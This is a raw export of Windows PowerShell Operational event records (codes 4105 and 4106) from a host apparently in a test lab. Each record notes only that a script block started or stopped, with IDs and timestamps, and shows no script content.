Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047457
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047456
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047455
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047454
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047438
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047437
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047432
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047431
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
